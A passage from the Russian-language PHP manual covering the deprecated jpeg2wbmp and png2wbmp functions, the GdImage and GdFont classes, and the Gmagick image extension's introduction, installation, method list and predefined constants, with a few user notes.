jpeg2wbmp($path, './test.wbmp', $image[1], $image[0], 5);
?>

Смотрите также

  • png2wbmp() - Преобразование PNG файла в WBMP

User Contributed Notes

barry dot schatz at gmail dot com 16-May-2009 08:41
Actually this produces black and white images only, as does the jpeg2wbmp function.


Преобразование PNG файла в WBMP

  • « jpeg2wbmp
  • GdImage »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Преобразование PNG файла в WBMP

png2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

png2wbmp — Преобразование PNG файла в WBMP

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

png2wbmp(
string $pngname,
string $wbmpname,
int $dest_height,
int $dest_width,
int $threshold
): bool

Преобразует PNG файл в WBMP.

Список параметров

pngname

Путь к PNG файлу.

wbmpname

Путь к результирующему WBMP файлу.

dest_height

Высота результирующего изображения.

dest_width

Ширина результирующего изображения.

threshold

Ограничение, от 0 до 8 (включительно).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Примеры

Пример #1 Пример использования png2wbmp()

<?php
// Путь к png
$path = './test.png';

// Получение размеров изображений
$image = getimagesize($path);

// Преобразование
png2wbmp($path, './test.wbmp', $image[1], $image[0], 7);
?>

Смотрите также

  • jpeg2wbmp() - Конвертирует изображение из формата JPEG в WBMP

User Contributed Notes

Window Bump Map 30-Jun-2008 10:41
WBMP is NOT windows bitmap, it is wireless bitmap. just to state that nice and clearly.


Класс GdImage

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы gd в PHP 8.0.0.

Обзор классов

final class GdImage {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс GdFont

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс gd font в PHP 8.1.0.

Обзор классов

final class GdFont {
}

User Contributed Notes

There are no user contributed notes for this page.


Gmagick

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
  • Предопределённые константы
  • Примеры
  • Gmagick — Класс Gmagick
    • Gmagick::addimage — Добавление нового изображения в список изображений объекта Gmagick
    • Gmagick::addnoiseimage — Добавляет случайный шум к изображению
    • Gmagick::annotateimage — Подписать изображение текстом
    • Gmagick::blurimage — Добавить размытие изображению
    • Gmagick::borderimage — Добавить рамку к изображению
    • Gmagick::charcoalimage — Имитация рисования углём
    • Gmagick::chopimage — Удаляет область изображения и подрезает его
    • Gmagick::clear — Зачищает все ресурсы, связанные с объектом Gmagick
    • Gmagick::commentimage — Добавить комментарий к изображению
    • Gmagick::compositeimage — Накладывает одно изображение на другое
    • Gmagick::__construct — Конструктор объекта Gmagick
    • Gmagick::cropimage — Обрезает изображение
    • Gmagick::cropthumbnailimage — Создание обрезанного уменьшенного изображения
    • Gmagick::current — Вернуть самого себя
    • Gmagick::cyclecolormapimage — Смещает цветовую карту изображения
    • Gmagick::deconstructimages — Возвращает определённые пиксельные различия между изображениями
    • Gmagick::despeckleimage — Назначение despeckleimage
    • Gmagick::destroy — Уничтожить объект Gmagick
    • Gmagick::drawimage — Отображает объект GmagickDraw на текущем изображении
    • Gmagick::edgeimage — Увеличивает края в изображении
    • Gmagick::embossimage — Возвращает изображение в градациях серого с трёхмерным эффектом
    • Gmagick::enhanceimage — Улучшает качество изображения с шумом
    • Gmagick::equalizeimage — Выравнивает гистограмму изображения
    • Gmagick::flipimage — Создаёт вертикальное зеркальное отображение
    • Gmagick::flopimage — Создаёт горизонтальное зеркальное отображение
    • Gmagick::frameimage — Добавляет смоделированную трёхмерную границу
    • Gmagick::gammaimage — Гамма-коррекция изображения
    • Gmagick::getcopyright — Возвращает копирайт GraphicsMagick API в виде строки
    • Gmagick::getfilename — Возвращает имя файла связанного с последовательностью изображений
    • Gmagick::getimagebackgroundcolor — Возвращает цвет фона изображения
    • Gmagick::getimageblueprimary — Возвращает цветность синей первичной точки
    • Gmagick::getimagebordercolor — Возвращает цвет границы изображения
    • Gmagick::getimagechanneldepth — Получает глубину для определённого канала изображения
    • Gmagick::getimagecolors — Возвращает цвет указанного индекса карты цветов
    • Gmagick::getimagecolorspace — Возвращает цветовое пространство изображения
    • Gmagick::getimagecompose — Возвращает составной оператор, связанный с изображением
    • Gmagick::getimagedelay — Получает задержку изображения
    • Gmagick::getimagedepth — Получает глубину изображения
    • Gmagick::getimagedispose — Получает метод удаления изображения
    • Gmagick::getimageextrema — Получает экстремумы для изображения
    • Gmagick::getimagefilename — Возвращает имя файла конкретного изображения в последовательности
    • Gmagick::getimageformat — Возвращает формат конкретного изображения в последовательности
    • Gmagick::getimagegamma — Возвращает гамму изображения
    • Gmagick::getimagegreenprimary — Возвращает первичную зелёную точку
    • Gmagick::getimageheight — Возвращает высоту изображения
    • Gmagick::getimagehistogram — Возвращает гистограмму изображения
    • Gmagick::getimageindex — Возвращает индекс текущего активного изображения
    • Gmagick::getimageinterlacescheme — Получает схему чередования изображений
    • Gmagick::getimageiterations — Получает итерации изображения
    • Gmagick::getimagematte — Проверяет, есть ли на изображении матовый канал
    • Gmagick::getimagemattecolor — Возвращает изображение матового цвета
    • Gmagick::getimageprofile — Возвращает именованный профайл изображения
    • Gmagick::getimageredprimary — Возвращает первичную красную точку
    • Gmagick::getimagerenderingintent — Получает цель рендеринга изображения
    • Gmagick::getimageresolution — Возвращает разрешение изображения
    • Gmagick::getimagescene — Получает сцену изображения
    • Gmagick::getimagesignature — Создаёт подпись сообщения SHA-256
    • Gmagick::getimagetype — Возвращает потенциальный тип изображения
    • Gmagick::getimageunits — Возвращает единицы разрешения изображения
    • Gmagick::getimagewhitepoint — Возвращает хроматическую белую точку
    • Gmagick::getimagewidth — Возвращает ширину изображения
    • Gmagick::getpackagename — Возвращает имя пакета GraphicsMagick
    • Gmagick::getquantumdepth — Возвращает глубину цвета (бит на канал) объекта Gmagick в виде строки
    • Gmagick::getreleasedate — Возвращает дату релиза GraphicsMagick в виде строки
    • Gmagick::getsamplingfactors — Возвращает вертикальный и горизонтальный фактор дискретизации
    • Gmagick::getsize — Возвращает размер, связанный с объектом Gmagick
    • Gmagick::getversion — Возвращает версию GraphicsMagick API
    • Gmagick::hasnextimage — Проверяет, есть ли ещё изображения в объекте
    • Gmagick::haspreviousimage — Проверяет, есть ли ещё изображения в объекте при итерации назад
    • Gmagick::implodeimage — Создаёт копию изображения
    • Gmagick::labelimage — Добавляет метку к изображению
    • Gmagick::levelimage — Регулирует уровни изображения
    • Gmagick::magnifyimage — Пропорционально масштабирует изображение в 2 раза
    • Gmagick::mapimage — Заменяет цвета изображения на ближайший цвет из эталонного изображения
    • Gmagick::medianfilterimage — Применяет цифровой фильтр
    • Gmagick::minifyimage — Масштабирует изображение пропорционально половине его размера
    • Gmagick::modulateimage — Управляет яркостью, насыщенностью и оттенком
    • Gmagick::motionblurimage — Имитирует размытие при движении
    • Gmagick::newimage — Создаёт новое изображение
    • Gmagick::nextimage — Осуществляет переход к следующему изображению
    • Gmagick::normalizeimage — Повышает контрастность цветного изображения
    • Gmagick::oilpaintimage — Имитирует эффект картины маслом
    • Gmagick::previousimage — Осуществляет переход к предыдущему изображению в объекте
    • Gmagick::profileimage — Добавляет или удаляет профиль из изображения
    • Gmagick::quantizeimage — Анализирует цвета эталонного изображения
    • Gmagick::quantizeimages — Анализирует цвета в последовательности изображений
    • Gmagick::queryfontmetrics — Возвращает массив, представляющий метрики шрифта
    • Gmagick::queryfonts — Возвращает настроенные шрифты
    • Gmagick::queryformats — Возвращает форматы, поддерживаемые Gmagick
    • Gmagick::radialblurimage — Применяет радиальное размытие к изображению
    • Gmagick::raiseimage — Создаёт имитацию эффекта трёхмерной кнопки
    • Gmagick::read — Читает изображение из файла
    • Gmagick::readimage — Читает изображение из файла
    • Gmagick::readimageblob — Читает изображение из бинарной строки
    • Gmagick::readimagefile — Читает изображение или последовательность изображений из файлового дескриптора
    • Gmagick::reducenoiseimage — Сглаживает контуры изображения
    • Gmagick::removeimage — Удаляет изображение из списка
    • Gmagick::removeimageprofile — Удаляет именованный профайл изображения и возвращает его
    • Gmagick::resampleimage — Изменяет разрешение изображения до желаемого
    • Gmagick::resizeimage — Масштабирует изображение
    • Gmagick::rollimage — Смещает изображение
    • Gmagick::rotateimage — Поворачивает изображение
    • Gmagick::scaleimage — Масштабирует размер изображения
    • Gmagick::separateimagechannel — Отделяет канал от изображения
    • Gmagick::setCompressionQuality — Устанавливает качество сжатия объекта по умолчанию
    • Gmagick::setfilename — Устанавливает имя файла перед чтением или записью изображения
    • Gmagick::setimagebackgroundcolor — Устанавливает цвет фона изображения
    • Gmagick::setimageblueprimary — Устанавливает цветность изображения голубой основной точкой
    • Gmagick::setimagebordercolor — Устанавливает цвет рамки изображения
    • Gmagick::setimagechanneldepth — Устанавливает глубину определённого канала изображения
    • Gmagick::setimagecolorspace — Устанавливает цветовое пространство изображения
    • Gmagick::setimagecompose — Устанавливает оператор составного изображения
    • Gmagick::setimagedelay — Устанавливает задержку изображения
    • Gmagick::setimagedepth — Устанавливает глубину изображения
    • Gmagick::setimagedispose — Устанавливает метод удаления изображения
    • Gmagick::setimagefilename — Устанавливает имя файла конкретного изображения в последовательности
    • Gmagick::setimageformat — Устанавливает формат определённого изображения
    • Gmagick::setimagegamma — Устанавливает гамму изображения
    • Gmagick::setimagegreenprimary — Устанавливает цветность изображения зелёной первичной точкой
    • Gmagick::setimageindex — Устанавливает итератор в положение в списке изображений, заданном параметром index
    • Gmagick::setimageinterlacescheme — Устанавливает схему чересстрочной развёртки изображения
    • Gmagick::setimageiterations — Устанавливает итерации изображения
    • Gmagick::setimageprofile — Добавляет именованный профиль в объект Gmagick
    • Gmagick::setimageredprimary — Устанавливает цветность изображения красной основной точкой
    • Gmagick::setimagerenderingintent — Устанавливает способ рендеринга изображения
    • Gmagick::setimageresolution — Устанавливает разрешение изображения
    • Gmagick::setimagescene — Устанавливает сцену изображения
    • Gmagick::setimagetype — Устанавливает тип изображения
    • Gmagick::setimageunits — Устанавливает единицы разрешения изображения
    • Gmagick::setimagewhitepoint — Устанавливает цветность изображения белой точкой
    • Gmagick::setsamplingfactors — Устанавливает факторы выборки изображения
    • Gmagick::setsize — Устанавливает размер объекта Gmagick
    • Gmagick::shearimage — Создаёт параллелограмм
    • Gmagick::solarizeimage — Применяет соляризационный эффект к изображению
    • Gmagick::spreadimage — Случайно смещает каждый пиксель в блоке
    • Gmagick::stripimage — Снимает изображение всех профилей и комментариев
    • Gmagick::swirlimage — Закручивает пиксели вокруг центра изображения
    • Gmagick::thumbnailimage — Изменяет размер изображения
    • Gmagick::trimimage — Удаляет края с изображения
    • Gmagick::write — Псевдоним Gmagick::writeimage
    • Gmagick::writeimage — Записывает изображение в указанный файл
  • GmagickDraw — Класс GmagickDraw
    • GmagickDraw::annotate — Рисует текст на изображении
    • GmagickDraw::arc — Рисует дугу
    • GmagickDraw::bezier — Рисует кривую Безье
    • GmagickDraw::ellipse — Рисует эллипс на изображении
    • GmagickDraw::getfillcolor — Возвращает цвет заливки
    • GmagickDraw::getfillopacity — Возвращает значение прозрачности, используемое при рисовании
    • GmagickDraw::getfont — Возвращает шрифт
    • GmagickDraw::getfontsize — Возвращает размер шрифта
    • GmagickDraw::getfontstyle — Возвращает стиль шрифта
    • GmagickDraw::getfontweight — Возвращает толщину шрифта
    • GmagickDraw::getstrokecolor — Возвращает цвет, используемый для обводки контуров объекта
    • GmagickDraw::getstrokeopacity — Возвращает прозрачность обведённых контуров объекта
    • GmagickDraw::getstrokewidth — Возвращает ширину обводки, используемой для отрисовки контуров объекта
    • GmagickDraw::gettextdecoration — Возвращает оформление текста
    • GmagickDraw::gettextencoding — Возвращает кодовый набор, используемый для текстовых аннотаций
    • GmagickDraw::line — Рисует линию
    • GmagickDraw::point — Рисует точку
    • GmagickDraw::polygon — Рисует многоугольник
    • GmagickDraw::polyline — Рисует ломаную линию
    • GmagickDraw::rectangle — Рисует прямоугольник
    • GmagickDraw::rotate — Применяет указанный поворот к текущему координатному пространству
    • GmagickDraw::roundrectangle — Рисует прямоугольник с закруглёнными углами
    • GmagickDraw::scale — Регулирует коэффициент масштабирования
    • GmagickDraw::setfillcolor — Устанавливает цвет заливки, который будет использоваться для рисования объектов с заливкой
    • GmagickDraw::setfillopacity — Устанавливает непрозрачность заливки
    • GmagickDraw::setfont — Устанавливает указанный шрифт для использования при аннотации текста
    • GmagickDraw::setfontsize — Устанавливает размер шрифта для использования при аннотации текста
    • GmagickDraw::setfontstyle — Устанавливает стиль шрифта для использования при аннотации текста
    • GmagickDraw::setfontweight — Устанавливает толщину шрифта
    • GmagickDraw::setstrokecolor — Устанавливает цвет, используемый для обводки контуров объекта
    • GmagickDraw::setstrokeopacity — Определяет прозрачность обводки контуров объекта
    • GmagickDraw::setstrokewidth — Устанавливает ширину обводки, используемой для отрисовки контуров объекта
    • GmagickDraw::settextdecoration — Определяет оформление
    • GmagickDraw::settextencoding — Задаёт кодовый набор текста
  • GmagickPixel — Класс GmagickPixel
    • GmagickPixel::__construct — Конструктора класса GmagickPixel
    • GmagickPixel::getcolor — Возвращает цвет
    • GmagickPixel::getcolorcount — Получить количество пикселей изображения, имеющих заданный цвет
    • GmagickPixel::getcolorvalue — Возвращает нормализованное значение для заданного цветового канала
    • GmagickPixel::setcolor — Задать цвет
    • GmagickPixel::setcolorvalue — Установить нормализованное значение цветового канала

User Contributed Notes

There are no user contributed notes for this page.


Введение

Gmagick - модуль php для создания, изменения и получения meta-данных изображений, используя GraphicsMagick API.

GraphicsMagick - швейцарский армейский нож обработки изображений. Он работает более чем с 88 форматами, включая основные форматы, такие как DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM и TIFF.

Gmagick состоит из основного класса Gmagick, класса GmagickDraw, который, по сути, есть волшебная палочка рисования и класса GmagickPixel, экземпляры которого представляют собой один пиксель изображения (цвет, прозрачность).

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения

User Contributed Notes

There are no user contributed notes for this page.


Требования

Модуль точно работает с GraphicsMagick версии 1.4+. Gmagick должен работать и с более старыми версиями, вплоть до GraphicsMagick 1.2.6, но некоторые возможности и форматы не будут поддерживаться. Версия GraphicsMagick под Windows доступна на сайте GraphicsMagick. Про различия между ImageMagick и GraphicsMagick можно почитать в этом » FAQ .

User Contributed Notes

maksimko 10-Apr-2013 02:54
1.4+ is a mistype, I suppose. According to http://sourceforge.net/p/graphicsmagick/code/ci/tip/tree/ they don't even have 1.4 branch. The latest release is 1.3.18


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/gmagick.

Замечание: Официальное имя модуля - gmagick.

Сборка модуля для Windows доступна » тут

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Цветовые константы
Gmagick::COLOR_BLACK (int)
Чёрный
Gmagick::COLOR_BLUE (int)
Синий
Gmagick::COLOR_CYAN (int)
Бирюзовый
Gmagick::COLOR_GREEN (int)
Зелёный
Gmagick::COLOR_RED (int)
Красный
Gmagick::COLOR_YELLOW (int)
Жёлтый
Gmagick::COLOR_MAGENTA (int)
Пурпурный
Gmagick::COLOR_OPACITY (int)
Непрозрачность
Gmagick::COLOR_ALPHA (int)
Альфа-канал
Gmagick::COLOR_FUZZ (int)
Распушка
Константы композитного оператора
Gmagick::COMPOSITE_DEFAULT (int)
Композитный оператор по умолчанию
Gmagick::COMPOSITE_UNDEFINED (int)
Неопределённый композитный оператор
Gmagick::COMPOSITE_NO (int)
Композитный оператор не задан
Gmagick::COMPOSITE_ADD (int)
Результат сложения изображений
Gmagick::COMPOSITE_ATOP (int)
Результат имеет ту же форму, что и исходное изображение, но затемнённый с помощью композитного изображения в местах пересечения.
Gmagick::COMPOSITE_BLEND (int)
Смешение изображения
Gmagick::COMPOSITE_BUMPMAP (int)
То же, что и COMPOSITE_MULTIPLY, за исключением того, что исходное изображение сначала преобразуется к оттенкам серого.
Gmagick::COMPOSITE_CLEAR (int)
Делает целевое изображение прозрачным.
Gmagick::COMPOSITE_COLORBURN (int)
Затемняет целевое изображение, для отражения исходного изображения.
Gmagick::COMPOSITE_COLORDODGE (int)
Осветляет целевое изображение, для отражения исходного изображения.
Gmagick::COMPOSITE_COLORIZE (int)
Раскрашивает целевое изображение, используя композитное изображение.
Gmagick::COMPOSITE_COPYBLACK (int)
Копирует чёрный канал из источника в приёмник
Gmagick::COMPOSITE_COPYBLUE (int)
Копирует синий канал из источника в приёмник
Gmagick::COMPOSITE_COPY (int)
Копирует источник в приёмник
Gmagick::COMPOSITE_COPYCYAN (int)
Копирует бирюзовый канал из источника в приёмник
Gmagick::COMPOSITE_COPYGREEN (int)
Копирует зелёный канал из источника в приёмник
Gmagick::COMPOSITE_COPYMAGENTA (int)
Копирует пурпурный канал из источника в приёмник
Gmagick::COMPOSITE_COPYOPACITY (int)
Копирует канал прозрачности из источника в приёмник
Gmagick::COMPOSITE_COPYRED (int)
Копирует красный канал из источника в приёмник
Gmagick::COMPOSITE_COPYYELLOW (int)
Копирует жёлтый канал из источника в приёмник
Gmagick::COMPOSITE_DARKEN (int)
Затемнение приёмника
Gmagick::COMPOSITE_DSTATOP (int)
Часть приёмника, лежащая внутри источника, накладывается на источник и заменяет приёмник
Gmagick::COMPOSITE_DST (int)
Приёмник остаётся нетронутым
Gmagick::COMPOSITE_DSTIN (int)
Часть внутри источника заменяет приёмник
Gmagick::COMPOSITE_DSTOUT (int)
Часть вне источника заменяет приёмник
Gmagick::COMPOSITE_DSTOVER (int)
Приёмник заменяет источник
Gmagick::COMPOSITE_DIFFERENCE (int)
Вычитает более тёмное значение цвета из более светлого
Gmagick::COMPOSITE_DISPLACE (int)
Сдвигает пиксели приёмника как задано в источнике
Gmagick::COMPOSITE_DISSOLVE (int)
Растворяет источник в приёмнике
Gmagick::COMPOSITE_EXCLUSION (int)
Создаёт эффект аналогичный Gmagick::COMPOSITE_DIFFERENCE, но выглядит как снижение контраста
Gmagick::COMPOSITE_HARDLIGHT (int)
Умножает или осветляет цвета, в зависимости от значения цвета источника
Gmagick::COMPOSITE_HUE (int)
Модифицирует оттенок приёмника в соответствии с источником
Gmagick::COMPOSITE_IN (int)
Подмешивает источник в приёмник
Gmagick::COMPOSITE_LIGHTEN (int)
Осветляет приёмник в соответствии с источником
Gmagick::COMPOSITE_LUMINIZE (int)
Люминизирует приёмник в соответствии с источником
Gmagick::COMPOSITE_MINUS (int)
Вычитает источник из приёмника
Gmagick::COMPOSITE_MODULATE (int)
Модулирует яркость, насыщенность и оттенок приёмника в соответствии с источником
Gmagick::COMPOSITE_MULTIPLY (int)
Умножает приёмник на источник
Gmagick::COMPOSITE_OUT (int)
Накладывает внешние части источника на приёмник
Gmagick::COMPOSITE_OVER (int)
Подмешивает источник поверх приёмника
Gmagick::COMPOSITE_OVERLAY (int)
Перекрывает приёмник источником
Gmagick::COMPOSITE_PLUS (int)
Добавляет источник к приёмнику
Gmagick::COMPOSITE_REPLACE (int)
Заменяет приёмник источником
Gmagick::COMPOSITE_SATURATE (int)
Меняет насыщенность приёмника в соответствии с источником
Gmagick::COMPOSITE_SCREEN (int)
Источник и приёмник дополняются, после этого умножаются и заменяют приёмник
Gmagick::COMPOSITE_SOFTLIGHT (int)
Затемняет или осветляет в зависимости от источника
Gmagick::COMPOSITE_SRCATOP (int)
Часть источника, лежащая вне приёмника, подмешивается в приёмник
Gmagick::COMPOSITE_SRC (int)
Источник копируется в приёмник
Gmagick::COMPOSITE_SRCIN (int)
Часть источника, лежащая внутри приёмника заменяет приёмник
Gmagick::COMPOSITE_SRCOUT (int)
Часть источника, лежащая вне приёмника заменяет приёмник
Gmagick::COMPOSITE_SRCOVER (int)
Источник заменяет приёмник
Gmagick::COMPOSITE_SUBTRACT (int)
Вычитает цвета изображения источника из изображения приёмника
Gmagick::COMPOSITE_THRESHOLD (int)
Источник подмешивается к приёмнику, как определено в пороговом значении источника
Gmagick::COMPOSITE_XOR (int)
Часть источника, лежащая вне приёмника комбинируется с частью приёмника лежащей вне источника
Константы режима монтажа
Gmagick::MONTAGEMODE_FRAME (int)
Gmagick::MONTAGEMODE_UNFRAME (int)
Gmagick::MONTAGEMODE_CONCATENATE (int)
Константы стиля
Gmagick::STYLE_NORMAL (int)
Gmagick::STYLE_ITALIC (int)
Gmagick::STYLE_OBLIQUE (int)
Gmagick::STYLE_ANY (int)
Константы фильтрации
Gmagick::FILTER_UNDEFINED (int)
Gmagick::FILTER_POINT (int)
Gmagick::FILTER_BOX (int)
Gmagick::FILTER_TRIANGLE (int)
Gmagick::FILTER_HERMITE (int)
Gmagick::FILTER_HANNING (int)
Gmagick::FILTER_HAMMING (int)
Gmagick::FILTER_BLACKMAN (int)
Gmagick::FILTER_GAUSSIAN (int)
Gmagick::FILTER_QUADRATIC (int)
Gmagick::FILTER_CUBIC (int)
Gmagick::FILTER_CATROM (int)
Gmagick::FILTER_MITCHELL (int)
Gmagick::FILTER_LANCZOS (int)
Gmagick::FILTER_BESSEL (int)
Gmagick::FILTER_SINC (int)
Константы типа изображения
Gmagick::IMGTYPE_UNDEFINED (int)
Gmagick::IMGTYPE_BILEVEL (int)
Gmagick::IMGTYPE_GRAYSCALE (int)
Gmagick::IMGTYPE_GRAYSCALEMATTE (int)
Gmagick::IMGTYPE_PALETTE (int)
Gmagick::IMGTYPE_PALETTEMATTE (int)
Gmagick::IMGTYPE_TRUECOLOR (int)
Gmagick::IMGTYPE_TRUECOLORMATTE (int)
Gmagick::IMGTYPE_COLORSEPARATION (int)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (int)
Gmagick::IMGTYPE_OPTIMIZE (int)
Константы разрешения
Gmagick::RESOLUTION_UNDEFINED (int)
Gmagick::RESOLUTION_PIXELSPERINCH (int)
Gmagick::RESOLUTION_PIXELSPERCENTIMETER (int)
Константы сжатия
Gmagick::COMPRESSION_UNDEFINED (int)
Gmagick::COMPRESSION_NO (int)
Gmagick::COMPRESSION_BZIP (int)
Gmagick::COMPRESSION_FAX (int)
Gmagick::COMPRESSION_GROUP4 (int)
Gmagick::COMPRESSION_JPEG (int)
Gmagick::COMPRESSION_JPEG2000 (int)
Gmagick::COMPRESSION_LOSSLESSJPEG (int)
Gmagick::COMPRESSION_LZW (int)
Gmagick::COMPRESSION_RLE (int)
Gmagick::COMPRESSION_ZIP (int)
Константы рисования
Gmagick::PAINT_POINT (int)
Gmagick::PAINT_REPLACE (int)
Gmagick::PAINT_FLOODFILL (int)
Gmagick::PAINT_FILLTOBORDER (int)
Gmagick::PAINT_RESET (int)
Гравитационные константы
Gmagick::GRAVITY_NORTHWEST (int)
Gmagick::GRAVITY_NORTH (int)
Gmagick::GRAVITY_NORTHEAST (int)
Gmagick::GRAVITY_WEST (int)
Gmagick::GRAVITY_CENTER (int)
Gmagick::GRAVITY_EAST (int)
Gmagick::GRAVITY_SOUTHWEST (int)
Gmagick::GRAVITY_SOUTH (int)
Gmagick::GRAVITY_SOUTHEAST (int)
Константы растяжения
Gmagick::STRETCH_NORMAL (int)
Gmagick::STRETCH_ULTRACONDENSED (int)
Gmagick::STRETCH_CONDENSED (int)
Gmagick::STRETCH_SEMICONDENSED (int)
Gmagick::STRETCH_SEMIEXPANDED (int)
Gmagick::STRETCH_EXPANDED (int)
Gmagick::STRETCH_EXTRAEXPANDED (int)
Gmagick::STRETCH_ULTRAEXPANDED (int)
Gmagick::STRETCH_ANY (int)
Align constants
Gmagick::ALIGN_UNDEFINED (int)
Gmagick::ALIGN_LEFT (int)
Gmagick::ALIGN_CENTER (int)
Gmagick::ALIGN_RIGHT (int)
Константы декорирования
Gmagick::DECORATION_NO (int)
Gmagick::DECORATION_UNDERLINE (int)
Gmagick::DECORATION_OVERLINE (int)
Gmagick::DECORATION_LINETROUGH (int)
Константы шума
Gmagick::NOISE_UNIFORM (int)
Gmagick::NOISE_GAUSSIAN (int)
Gmagick::NOISE_MULTIPLICATIVEGAUSSIAN (int)
Gmagick::NOISE_IMPULSE (int)
Gmagick::NOISE_LAPLACIAN (int)
Gmagick::NOISE_POISSON (int)
Константы каналов
Gmagick::CHANNEL_UNDEFINED (int)
Gmagick::CHANNEL_RED (int)
Gmagick::CHANNEL_GRAY (int)
Gmagick::CHANNEL_CYAN (int)
Gmagick::CHANNEL_GREEN (int)
Gmagick::CHANNEL_MAGENTA (int)
Gmagick::CHANNEL_BLUE (int)
Gmagick::CHANNEL_YELLOW (int)
Gmagick::CHANNEL_ALPHA (int)
Gmagick::CHANNEL_OPACITY (int)
Gmagick::CHANNEL_MATTE (int)
Gmagick::CHANNEL_BLACK (int)
Gmagick::CHANNEL_INDEX (int)
Gmagick::CHANNEL_ALL (int)
Метрические константы
Gmagick::METRIC_UNDEFINED (int)
Gmagick::METRIC_MEANABSOLUTEERROR (int)
Gmagick::METRIC_MEANSQUAREERROR (int)
Gmagick::METRIC_PEAKABSOLUTEERROR (int)
Gmagick::METRIC_PEAKSIGNALTONOISERATIO (int)
Gmagick::METRIC_ROOTMEANSQUAREDERROR (int)
Пиксельные константы
Gmagick::PIXEL_CHAR (int)
Gmagick::PIXEL_DOUBLE (int)
Gmagick::PIXEL_FLOAT (int)
Gmagick::PIXEL_INTEGER (int)
Gmagick::PIXEL_LONG (int)
Gmagick::PIXEL_QUANTUM (int)
Gmagick::PIXEL_SHORT (int)
Константы цветового пространства
Gmagick::COLORSPACE_UNDEFINED (int)
Gmagick::COLORSPACE_RGB (int)
Gmagick::COLORSPACE_GRAY (int)
Gmagick::COLORSPACE_TRANSPARENT (int)
Gmagick::COLORSPACE_OHTA (int)
Gmagick::COLORSPACE_LAB (int)
Gmagick::COLORSPACE_XYZ (int)
Gmagick::COLORSPACE_YCBCR (int)
Gmagick::COLORSPACE_YCC (int)
Gmagick::COLORSPACE_YIQ (int)
Gmagick::COLORSPACE_YPBPR (int)
Gmagick::COLORSPACE_YUV (int)
Gmagick::COLORSPACE_CMYK (int)
Gmagick::COLORSPACE_SRGB (int)
Gmagick::COLORSPACE_HSB (int)
Gmagick::COLORSPACE_HSL (int)
Gmagick::COLORSPACE_HWB (int)
Gmagick::COLORSPACE_REC601LUMA (int)
Gmagick::COLORSPACE_REC709LUMA (int)
Gmagick::COLORSPACE_LOG (int)
Константы метода виртуального пикселя
Gmagick::VIRTUALPIXELMETHOD_UNDEFINED (int)
Gmagick::VIRTUALPIXELMETHOD_BACKGROUND (int)
Gmagick::VIRTUALPIXELMETHOD_CONSTANT (int)
Gmagick::VIRTUALPIXELMETHOD_EDGE (int)
Gmagick::VIRTUALPIXELMETHOD_MIRROR (int)
Gmagick::VIRTUALPIXELMETHOD_TILE (int)
Gmagick::VIRTUALPIXELMETHOD_TRANSPARENT (int)
Константы предпросмотра
Gmagick::PREVIEW_UNDEFINED (int)
Gmagick::PREVIEW_ROTATE (int)
Gmagick::PREVIEW_SHEAR (int)
Gmagick::PREVIEW_ROLL (int)
Gmagick::PREVIEW_HUE (int)
Gmagick::PREVIEW_SATURATION (int)
Gmagick::PREVIEW_BRIGHTNESS (int)
Gmagick::PREVIEW_GAMMA (int)
Gmagick::PREVIEW_SPIFF (int)
Gmagick::PREVIEW_DULL (int)
Gmagick::PREVIEW_GRAYSCALE (int)
Gmagick::PREVIEW_QUANTIZE (int)
Gmagick::PREVIEW_DESPECKLE (int)
Gmagick::PREVIEW_REDUCENOISE (int)
Gmagick::PREVIEW_ADDNOISE (int)
Gmagick::PREVIEW_SHARPEN (int)
Gmagick::PREVIEW_BLUR (int)
Gmagick::PREVIEW_THRESHOLD (int)
Gmagick::PREVIEW_EDGEDETECT (int)
Gmagick::PREVIEW_SPREAD (int)
Gmagick::PREVIEW_SOLARIZE (int)
Gmagick::PREVIEW_SHADE (int)
Gmagick::PREVIEW_RAISE (int)
Gmagick::PREVIEW_SEGMENT (int)
Gmagick::PREVIEW_SWIRL (int)
Gmagick::PREVIEW_IMPLODE (int)
Gmagick::PREVIEW_WAVE (int)
Gmagick::PREVIEW_OILPAINT (int)
Gmagick::PREVIEW_CHARCOALDRAWING (int)
Gmagick::PREVIEW_JPEG (int)
Константы интента отрисовки
Gmagick::RENDERINGINTENT_UNDEFINED (int)
Gmagick::RENDERINGINTENT_SATURATION (int)
Gmagick::RENDERINGINTENT_PERCEPTUAL (int)
Gmagick::RENDERINGINTENT_ABSOLUTE (int)
Gmagick::RENDERINGINTENT_RELATIVE (int)
Константы правил заполнения
Gmagick::FILLRULE_UNDEFINED (int)
Gmagick::FILLRULE_EVENODD (int)
Gmagick::FILLRULE_NONZERO (int)
Константы блока пути (pathunit)
Gmagick::PATHUNITS_UNDEFINED (int)
Gmagick::PATHUNITS_USERSPACE (int)
Gmagick::PATHUNITS_USERSPACEONUSE (int)
Gmagick::PATHUNITS_OBJECTBOUNDINGBOX (int)
Константы Linecap
Gmagick::LINECAP_UNDEFINED (int)
Gmagick::LINECAP_BUTT (int)
Gmagick::LINECAP_ROUND (int)
Gmagick::LINECAP_SQUARE (int)
Константы объединения линий
Gmagick::LINEJOIN_UNDEFINED (int)
Gmagick::LINEJOIN_MITER (int)
Gmagick::LINEJOIN_ROUND (int)
Gmagick::LINEJOIN_BEVEL (int)
Константы типа ресурса
Gmagick::RESOURCETYPE_UNDEFINED (int)
Gmagick::RESOURCETYPE_AREA (int)
